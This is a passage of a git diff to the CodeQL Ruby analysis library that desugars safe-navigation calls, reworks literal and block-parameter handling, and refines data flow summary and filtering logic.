 
   final override string getMethodNameImpl() {
     isRegularMethodCall(g) and
     (
-      result = "call" and g.getMethod() instanceof Ruby::ArgumentList
+      result = "call" and not exists(g.getMethod())
       or
       result = g.getMethod().(Ruby::Token).getValue()
-      or
-      result = g.getMethod().(Ruby::ScopeResolution).getName().(Ruby::Token).getValue()
     )
   }
 
-  final override Expr getArgumentImpl(int n) {
-    toGenerated(result) = g.getArguments().getChild(n)
-    or
-    toGenerated(result) = g.getMethod().(Ruby::ArgumentList).getChild(n)
-  }
+  final override Expr getArgumentImpl(int n) { toGenerated(result) = g.getArguments().getChild(n) }
 
-  final override int getNumberOfArgumentsImpl() {
-    result =
-      count(g.getArguments().getChild(_)) + count(g.getMethod().(Ruby::ArgumentList).getChild(_))
-  }
+  final override int getNumberOfArgumentsImpl() { result = count(g.getArguments().getChild(_)) }
 
   final override Block getBlockImpl() { toGenerated(result) = g.getBlock() }
+
+  final override predicate isSafeNavigationImpl() {
+    g.getOperator().(Ruby::Token).getValue() = "&."
+  }
 }
 
 class ElementReferenceImpl extends MethodCallImpl, TElementReference {
diff --git a/ruby/ql/lib/codeql/ruby/ast/internal/Literal.qll b/ruby/ql/lib/codeql/ruby/ast/internal/Literal.qll
index 78dadd5315e..e9936d1e48c 100644
--- a/ruby/ql/lib/codeql/ruby/ast/internal/Literal.qll
+++ b/ruby/ql/lib/codeql/ruby/ast/internal/Literal.qll
@@ -88,9 +88,11 @@ class RationalLiteralImpl extends Expr, TRationalLiteral {
 }
 
 float getComplexValue(Ruby::Complex c) {
+  exists(int n, int d | isRationalValue(c.getChild(), n, d) and result = n.(float) / d.(float))
+  or
   exists(string s |
-    s = c.getValue() and
-    result = s.prefix(s.length() - 1).toFloat()
+    s = c.getChild().(Ruby::Token).getValue() and
+    result = s.prefix(s.length()).toFloat()
   )
 }
 
@@ -103,15 +105,24 @@ class ComplexLiteralImpl extends Expr, TComplexLiteral {
     real = 0 and imaginary = getComplexValue(g)
   }
 
-  final override string toString() { result = g.getValue() }
+  final override string toString() {
+    result = g.getChild().(Ruby::Token).getValue() + "i" or
+    result = g.getChild().(Ruby::Rational).getChild().(Ruby::Token).getValue() + "ri"
+  }
 }
 
-class NilLiteralImpl extends Expr, TNilLiteral {
+abstract class NilLiteralImpl extends Expr, TNilLiteral {
+  final override string toString() { result = "nil" }
+}
+
+class NilLiteralReal extends NilLiteralImpl, TNilLiteralReal {
   private Ruby::Nil g;
 
-  NilLiteralImpl() { this = TNilLiteral(g) }
+  NilLiteralReal() { this = TNilLiteralReal(g) }
+}
 
-  final override string toString() { result = g.getValue() }
+class NilLiteralSynth extends NilLiteralImpl, TNilLiteralSynth {
+  NilLiteralSynth() { this = TNilLiteralSynth(_, _) }
 }
 
 abstract class BooleanLiteralImpl extends Expr, TBooleanLiteral {
diff --git a/ruby/ql/lib/codeql/ruby/ast/internal/Method.qll b/ruby/ql/lib/codeql/ruby/ast/internal/Method.qll
index 09a16350096..0b923056441 100644
--- a/ruby/ql/lib/codeql/ruby/ast/internal/Method.qll
+++ b/ruby/ql/lib/codeql/ruby/ast/internal/Method.qll
@@ -7,6 +7,10 @@ class BraceBlockReal extends BraceBlock, TBraceBlockReal {
 
   BraceBlockReal() { this = TBraceBlockReal(g) }
 
+  final override LocalVariableWriteAccess getLocalVariable(int n) {
+    toGenerated(result) = g.getParameters().getLocals(n)
+  }
+
   final override Parameter getParameter(int n) {
     toGenerated(result) = g.getParameters().getChild(n)
   }
diff --git a/ruby/ql/lib/codeql/ruby/ast/internal/Synthesis.qll b/ruby/ql/lib/codeql/ruby/ast/internal/Synthesis.qll
index b6367bf19e9..0b1137faeb7 100644
--- a/ruby/ql/lib/codeql/ruby/ast/internal/Synthesis.qll
+++ b/ruby/ql/lib/codeql/ruby/ast/internal/Synthesis.qll
@@ -21,6 +21,7 @@ newtype SynthKind =
   DivExprKind() or
   ExponentExprKind() or
   GlobalVariableAccessKind(GlobalVariable v) or
+  IfKind() or
   InstanceVariableAccessKind(InstanceVariable v) or
   IntegerLiteralKind(int i) { i in [-1000 .. 1000] } or
   LShiftExprKind() or
@@ -33,6 +34,7 @@ newtype SynthKind =
   } or
   ModuloExprKind() or
   MulExprKind() or
+  NilLiteralKind() or
   RangeLiteralKind(boolean inclusive) { inclusive in [false, true] } or
   RShiftExprKind() or
   SimpleParameterKind() or
@@ -196,11 +198,8 @@ private module ImplicitSelfSynthesis {
   private predicate regularMethodCallSelfSynthesis(TRegularMethodCall mc, int i, Child child) {
     exists(Ruby::AstNode g |
       mc = TRegularMethodCall(g) and
-      // If there's no explicit receiver (or scope resolution that acts like a
-      // receiver), then the receiver is implicitly `self`.  N.B.  `::Foo()` is
-      // not valid Ruby.
-      not exists(g.(Ruby::Call).getReceiver()) and
-      not exists(g.(Ruby::Call).getMethod().(Ruby::ScopeResolution).getScope())
+      // If there's no explicit receiver, then the receiver is implicitly `self`.
+      not exists(g.(Ruby::Call).getReceiver())
     ) and
     child = SynthChild(SelfKind(TSelfVariable(scopeOf(toGenerated(mc)).getEnclosingSelfScope()))) and
     i = 0
@@ -1086,3 +1085,123 @@ private module AnonymousBlockParameterSynth {
     }
   }
 }
+
+private module SafeNavigationCallDesugar {
+  /**
+   * ```rb
+   * receiver&.method(args) { ... }
+   * ```
+   * desugars to
+   *
+   * ```rb
+   * __synth__0 = receiver
+   * if nil == __synth__0 then nil else __synth__0.method(args) {...} end
+   * ```
+   */
+  pragma[nomagic]
+  private predicate safeNavigationCallSynthesis(AstNode parent, int i, Child child) {
+    exists(RegularMethodCall call, LocalVariableAccessSynthKind local |
+      call.isSafeNavigationImpl() and
+      local = LocalVariableAccessSynthKind(TLocalVariableSynth(call.getReceiverImpl(), 0))
+    |
+      parent = call and
+      i = -1 and
+      child = SynthChild(StmtSequenceKind())
+      or
+      exists(TStmtSequenceSynth seq | seq = TStmtSequenceSynth(call, -1) |
+        parent = seq and
+        (
+          child = SynthChild(AssignExprKind()) and i = 0
+          or
+          child = SynthChild(IfKind()) and i = 1
+        )
+        or
+        parent = TAssignExprSynth(seq, 0) and
+        (
+          child = SynthChild(local) and
+          i = 0
+          or
+          child = childRef(call.getReceiverImpl()) and i = 1
+        )
+        or
+        exists(TIfSynth ifExpr | ifExpr = TIfSynth(seq, 1) |
+          parent = ifExpr and
+          (
+            child = SynthChild(MethodCallKind("==", false, 2)) and
+            i = 0
+            or
+            child = SynthChild(NilLiteralKind()) and i = 1
+            or
+            child =
+              SynthChild(MethodCallKind(call.getMethodNameImpl(), false,
+                  call.getNumberOfArgumentsImpl())) and
+            i = 2
+          )
+          or
+          parent = TMethodCallSynth(ifExpr, 0, _, _, _) and
+          (
+            child = SynthChild(NilLiteralKind()) and i = 0
+            or
+            child = SynthChild(local) and
+            i = 1
+          )
+          or
+          parent = TMethodCallSynth(ifExpr, 2, _, _, _) and
+          (
+            i = 0 and
+            child = SynthChild(local)
+            or
+            child = childRef(call.getArgumentImpl(i - 1))
+            or
+            child = childRef(call.getBlockImpl()) and i = -2
+          )
+        )
+      )
+    )
+  }
+
+  private class SafeNavigationCallSynthesis extends Synthesis {
+    final override predicate child(AstNode parent, int i, Child child) {
+      safeNavigationCallSynthesis(parent, i, child)
+    }
+
+    final override predicate methodCall(string name, boolean setter, int arity) {
+      exists(RegularMethodCall call |
+        call.isSafeNavigationImpl() and
+        name = call.getMethodNameImpl() and
+        setter = false and
+        arity = call.getNumberOfArgumentsImpl()
+      )
+      or
+      name = "==" and setter = false and arity = 2
+    }
+
+    final override predicate localVariable(AstNode n, int i) {
+      i = 0 and n = any(RegularMethodCall c | c.isSafeNavigationImpl()).getReceiverImpl()
+    }
+
+    override predicate location(AstNode n, Location l) {
+      exists(RegularMethodCall call, StmtSequence seq |
+        call.isSafeNavigationImpl() and seq = call.getDesugared()
+      |
+        n = seq.getStmt(0) and
+        hasLocation(call.getReceiverImpl(), l)
+        or
+        n = seq.getStmt(1) and
+        l = toGenerated(call).(Ruby::Call).getOperator().getLocation()
+        or
+        n = seq.getStmt(1).(IfExpr).getCondition().(MethodCall).getArgument(0) and
+        hasLocation(call.getReceiverImpl(), l)
+        or
+        n = seq.getStmt(1).(IfExpr).getThen() and
+        hasLocation(call.getReceiverImpl(), l)
+        or
+        n = seq.getStmt(1).(IfExpr).getElse() and
+        hasLocation(call, l)
+        or
+        n = seq.getStmt(1).(IfExpr).getElse().(MethodCall).getReceiver() and
+        hasLocation(call.getReceiverImpl(), l)
+      )
+    }
+  }
+}
diff --git a/ruby/ql/lib/codeql/ruby/ast/internal/TreeSitter.qll b/ruby/ql/lib/codeql/ruby/ast/internal/TreeSitter.qll
index 6151dcf67a8..51f18440a0b 100644
--- a/ruby/ql/lib/codeql/ruby/ast/internal/TreeSitter.qll
+++ b/ruby/ql/lib/codeql/ruby/ast/internal/TreeSitter.qll
@@ -50,6 +50,8 @@ module Ruby {
 
   class UnderscoreArg extends @ruby_underscore_arg, AstNode { }
 
+  class UnderscoreCallOperator extends @ruby_underscore_call_operator, AstNode { }
+
   class UnderscoreExpression extends @ruby_underscore_expression, AstNode { }
 
   class UnderscoreLhs extends @ruby_underscore_lhs, AstNode { }
@@ -238,7 +240,7 @@ module Ruby {
     final override string getAPrimaryQlClass() { result = "Binary" }
 
     /** Gets the node corresponding to the field `left`. */
-    final UnderscoreExpression getLeft() { ruby_binary_def(this, result, _, _) }
+    final AstNode getLeft() { ruby_binary_def(this, result, _, _) }
 
     /** Gets the node corresponding to the field `operator`. */
     final string getOperator() {
@@ -350,11 +352,16 @@ module Ruby {
     /** Gets the name of the primary QL class for this element. */
     final override string getAPrimaryQlClass() { result = "BlockParameters" }
 
+    /** Gets the node corresponding to the field `locals`. */
+    final Identifier getLocals(int i) { ruby_block_parameters_locals(this, i, result) }
+
     /** Gets the `i`th child of this node. */
     final AstNode getChild(int i) { ruby_block_parameters_child(this, i, result) }
 
     /** Gets a field or child node of this node. */
-    final override AstNode getAFieldOrChild() { ruby_block_parameters_child(this, _, result) }
+    final override AstNode getAFieldOrChild() {
+      ruby_block_parameters_locals(this, _, result) or ruby_block_parameters_child(this, _, result)
+    }
   }
 
   /** A class representing `break` nodes. */
@@ -381,16 +388,20 @@ module Ruby {
     final AstNode getBlock() { ruby_call_block(this, result) }
 
     /** Gets the node corresponding to the field `method`. */
-    final AstNode getMethod() { ruby_call_def(this, result) }
+    final AstNode getMethod() { ruby_call_method(this, result) }
+
+    /** Gets the node corresponding to the field `operator`. */
+    final UnderscoreCallOperator getOperator() { ruby_call_operator(this, result) }
 
     /** Gets the node corresponding to the field `receiver`. */
-    final AstNode getReceiver() { ruby_call_receiver(this, result) }
+    final UnderscorePrimary getReceiver() { ruby_call_receiver(this, result) }
 
     /** Gets a field or child node of this node. */
     final override AstNode getAFieldOrChild() {
       ruby_call_arguments(this, result) or
       ruby_call_block(this, result) or
-      ruby_call_def(this, result) or
+      ruby_call_method(this, result) or
+      ruby_call_operator(this, result) or
       ruby_call_receiver(this, result)
     }
   }
@@ -486,10 +497,16 @@ module Ruby {
     final override string getAPrimaryQlClass() { result = "Comment" }
   }
 
-  /** A class representing `complex` tokens. */
-  class Complex extends @ruby_token_complex, Token {
+  /** A class representing `complex` nodes. */
+  class Complex extends @ruby_complex, AstNode {
     /** Gets the name of the primary QL class for this element. */
     final override string getAPrimaryQlClass() { result = "Complex" }
+
+    /** Gets the child of this node. */
+    final AstNode getChild() { ruby_complex_def(this, result) }
+
+    /** Gets a field or child node of this node. */
+    final override AstNode getAFieldOrChild() { ruby_complex_def(this, result) }
   }
 
   /** A class representing `conditional` nodes. */
@@ -1199,7 +1216,7 @@ module Ruby {
     }
 
     /** Gets the node corresponding to the field `right`. */
-    final UnderscoreExpression getRight() { ruby_operator_assignment_def(this, _, _, result) }
+    final AstNode getRight() { ruby_operator_assignment_def(this, _, _, result) }
 
     /** Gets a field or child node of this node. */
     final override AstNode getAFieldOrChild() {
@@ -1447,7 +1464,7 @@ module Ruby {
     final override string getAPrimaryQlClass() { result = "ScopeResolution" }
 
     /** Gets the node corresponding to the field `name`. */
-    final AstNode getName() { ruby_scope_resolution_def(this, result) }
+    final Constant getName() { ruby_scope_resolution_def(this, result) }
 
     /** Gets the node corresponding to the field `scope`. */
     final AstNode getScope() { ruby_scope_resolution_scope(this, result) }
diff --git a/ruby/ql/lib/codeql/ruby/ast/internal/Variable.qll b/ruby/ql/lib/codeql/ruby/ast/internal/Variable.qll
index a5e977bb1cb..64fcdbd669a 100644
--- a/ruby/ql/lib/codeql/ruby/ast/internal/Variable.qll
+++ b/ruby/ql/lib/codeql/ruby/ast/internal/Variable.qll
@@ -50,8 +50,9 @@ predicate implicitAssignmentNode(Ruby::AstNode n) {
 
 /** Holds if `n` is inside a parameter. */
 predicate implicitParameterAssignmentNode(Ruby::AstNode n, Callable::Range c) {
-  n = c.getParameter(_)
-  or
+  n = c.getParameter(_) or
+  n = c.(Ruby::Block).getParameters().getLocals(_) or
+  n = c.(Ruby::DoBlock).getParameters().getLocals(_) or
   implicitParameterAssignmentNode(n.getParent().(Ruby::DestructuredParameter), c)
 }
 
diff --git a/ruby/ql/lib/codeql/ruby/controlflow/internal/ControlFlowGraphImpl.qll b/ruby/ql/lib/codeql/ruby/controlflow/internal/ControlFlowGraphImpl.qll
index 641c78e3dee..e07cb1b419f 100644
--- a/ruby/ql/lib/codeql/ruby/controlflow/internal/ControlFlowGraphImpl.qll
+++ b/ruby/ql/lib/codeql/ruby/controlflow/internal/ControlFlowGraphImpl.qll
@@ -347,7 +347,12 @@ module Trees {
     final override AstNode getBodyChild(int i, boolean rescuable) {
       result = this.getParameter(i) and rescuable = false
       or
-      result = StmtSequenceTree.super.getBodyChild(i - this.getNumberOfParameters(), rescuable)
+      result = this.getLocalVariable(i - this.getNumberOfParameters()) and rescuable = false
+      or
+      result =
+        StmtSequenceTree.super
+            .getBodyChild(i - this.getNumberOfParameters() - count(this.getALocalVariable()),
+              rescuable)
     }
 
     override predicate first(AstNode first) { first = this }
@@ -366,7 +371,9 @@ module Trees {
     CallTree() {
       // Logical operations are handled separately
       not this instanceof UnaryLogicalOperation and
-      not this instanceof BinaryLogicalOperation
+      not this instanceof BinaryLogicalOperation and
+      // Calls with the `&.` operator are desugared
+      not this.(MethodCall).isSafeNavigation()
     }
 
     override ControlFlowTree getChildElement(int i) { result = this.getArgument(i) }
@@ -959,7 +966,12 @@ module Trees {
     final override AstNode getBodyChild(int i, boolean rescuable) {
       result = this.getParameter(i) and rescuable = false
       or
-      result = BodyStmtTree.super.getBodyChild(i - this.getNumberOfParameters(), rescuable)
+      result = this.getLocalVariable(i - this.getNumberOfParameters()) and rescuable = false
+      or
+      result =
+        BodyStmtTree.super
+            .getBodyChild(i - this.getNumberOfParameters() - count(this.getALocalVariable()),
+              rescuable)
     }
 
     override predicate propagatesAbnormal(AstNode child) { none() }
@@ -1246,7 +1258,7 @@ module Trees {
 
   private class SimpleParameterTree extends NonDefaultValueParameterTree, SimpleParameter { }
 
-  // Corner case: For duplicated '_' parameters, only the first occurence has a defining
+  // Corner case: For duplicated '_' parameters, only the first occurrence has a defining
   // access. For subsequent parameters we simply include the parameter itself in the CFG
   private class SimpleParameterTreeDupUnderscore extends LeafTree, SimpleParameter {
     SimpleParameterTreeDupUnderscore() { not exists(this.getDefiningAccess()) }
diff --git a/ruby/ql/lib/codeql/ruby/controlflow/internal/ControlFlowGraphImplShared.qll b/ruby/ql/lib/codeql/ruby/controlflow/internal/ControlFlowGraphImplShared.qll
index e7ae2e489a2..47fcd24883c 100644
--- a/ruby/ql/lib/codeql/ruby/controlflow/internal/ControlFlowGraphImplShared.qll
+++ b/ruby/ql/lib/codeql/ruby/controlflow/internal/ControlFlowGraphImplShared.qll
@@ -744,7 +744,7 @@ cached
 private module Cached {
   /**
    * If needed, call this predicate from `ControlFlowGraphImplSpecific.qll` in order to
-   * force a stage-dependency on the `ControlFlowGraphImplShared.qll` stage and therby
+   * force a stage-dependency on the `ControlFlowGraphImplShared.qll` stage and thereby
    * collapsing the two stages.
    */
   cached
diff --git a/ruby/ql/lib/codeql/ruby/dataflow/FlowSummary.qll b/ruby/ql/lib/codeql/ruby/dataflow/FlowSummary.qll
index 7e68d85e827..6b92c149e3a 100644
--- a/ruby/ql/lib/codeql/ruby/dataflow/FlowSummary.qll
+++ b/ruby/ql/lib/codeql/ruby/dataflow/FlowSummary.qll
@@ -25,6 +25,10 @@ module SummaryComponent {
 
   predicate content = SC::content/1;
 
+  predicate withoutContent = SC::withoutContent/1;
+
+  predicate withContent = SC::withContent/1;
+
   /** Gets a summary component that represents a receiver. */
   SummaryComponent receiver() { result = argument(any(ParameterPosition pos | pos.isSelf())) }
 
@@ -80,37 +84,10 @@ module SummaryComponentStack {
 }
 
 /** A callable with a flow summary, identified by a unique string. */
-abstract class SummarizedCallable extends LibraryCallable {
+abstract class SummarizedCallable extends LibraryCallable, Impl::Public::SummarizedCallable {
   bindingset[this]
   SummarizedCallable() { any() }
 
-  /**
-   * Holds if data may flow from `input` to `output` through this callable.
-   *
-   * `preservesValue` indicates whether this is a value-preserving step
-   * or a taint-step.
-   *
-   * Input specifications are restricted to stacks that end with
-   * `SummaryComponent::argument(_)`, preceded by zero or more
-   * `SummaryComponent::return()` or `SummaryComponent::content(_)` components.
-   *
-   * Output specifications are restricted to stacks that end with
-   * `SummaryComponent::return()` or `SummaryComponent::argument(_)`.
-   *
-   * Output stacks ending with `SummaryComponent::return()` can be preceded by zero
-   * or more `SummaryComponent::content(_)` components.
-   *
-   * Output stacks ending with `SummaryComponent::argument(_)` can be preceded by an
-   * optional `SummaryComponent::parameter(_)` component, which in turn can be preceded
-   * by zero or more `SummaryComponent::content(_)` components.
-   */
-  pragma[nomagic]
-  predicate propagatesFlow(
-    SummaryComponentStack input, SummaryComponentStack output, boolean preservesValue
-  ) {
-    none()
-  }
-
   /**
    * Same as
    *
@@ -124,13 +101,6 @@ abstract class SummarizedCallable extends LibraryCallable {
    */
   pragma[nomagic]
   predicate propagatesFlowExt(string input, string output, boolean preservesValue) { none() }
-
-  /**
-   * Holds if values stored inside `content` are cleared on objects passed as
-   * arguments at position `pos` to this callable.
-   */
-  pragma[nomagic]
-  predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) { none() }
 }
 
 /**
@@ -146,22 +116,6 @@ abstract class SimpleSummarizedCallable extends SummarizedCallable {
   final override MethodCall getACall() { result = mc }
 }
 
-private class SummarizedCallableAdapter extends Impl::Public::SummarizedCallable {
-  private SummarizedCallable sc;
-
-  SummarizedCallableAdapter() { this = TLibraryCallable(sc) }
-
-  final override predicate propagatesFlow(
-    SummaryComponentStack input, SummaryComponentStack output, boolean preservesValue
-  ) {
-    sc.propagatesFlow(input, output, preservesValue)
-  }
-
-  final override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-    sc.clearsContent(pos, content)
-  }
-}
-
 class RequiredSummaryComponentStack = Impl::Public::RequiredSummaryComponentStack;
 
 private class SummarizedCallableFromModel extends SummarizedCallable {
diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/AccessPathSyntax.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/AccessPathSyntax.qll
index 3d40e04b815..076e12f2671 100644
--- a/ruby/ql/lib/codeql/ruby/dataflow/internal/AccessPathSyntax.qll
+++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/AccessPathSyntax.qll
@@ -167,9 +167,16 @@ class AccessPathToken extends string {
   /** Gets the `n`th argument to this token, such as `x` or `y` from `Member[x,y]`. */
   string getArgument(int n) { result = this.getArgumentList().splitAt(",", n).trim() }
 
+  /** Gets the `n`th argument to this `name` token, such as `x` or `y` from `Member[x,y]`. */
+  pragma[nomagic]
+  string getArgument(string name, int n) { name = this.getName() and result = this.getArgument(n) }
+
   /** Gets an argument to this token, such as `x` or `y` from `Member[x,y]`. */
   string getAnArgument() { result = this.getArgument(_) }
 
+  /** Gets an argument to this `name` token, such as `x` or `y` from `Member[x,y]`. */
+  string getAnArgument(string name) { result = this.getArgument(name, _) }
+
   /** Gets the number of arguments to this token, such as 2 for `Member[x,y]` or zero for `ReturnValue`. */
   int getNumArgument() { result = count(int n | exists(this.getArgument(n))) }
 }
diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowDispatch.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowDispatch.qll
index 6241f8afd38..7adffd04ae3 100644
--- a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowDispatch.qll
+++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowDispatch.qll
@@ -120,11 +120,11 @@ class SummaryCall extends DataFlowCall, TSummaryCall {
   /** Gets the data flow node that this call targets. */
   DataFlow::Node getReceiver() { result = receiver }
 
-  override DataFlowCallable getEnclosingCallable() { result = c }
+  override DataFlowCallable getEnclosingCallable() { result.asLibraryCallable() = c }
 
   override string toString() { result = "[summary] call to " + receiver + " in " + c }
 
-  override Location getLocation() { result = c.getLocation() }
+  override EmptyLocation getLocation() { any() }
 }
 
 private class NormalCall extends DataFlowCall, TNormalCall {
diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowImpl.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowImpl.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowImpl.qll
+++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowImpl.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
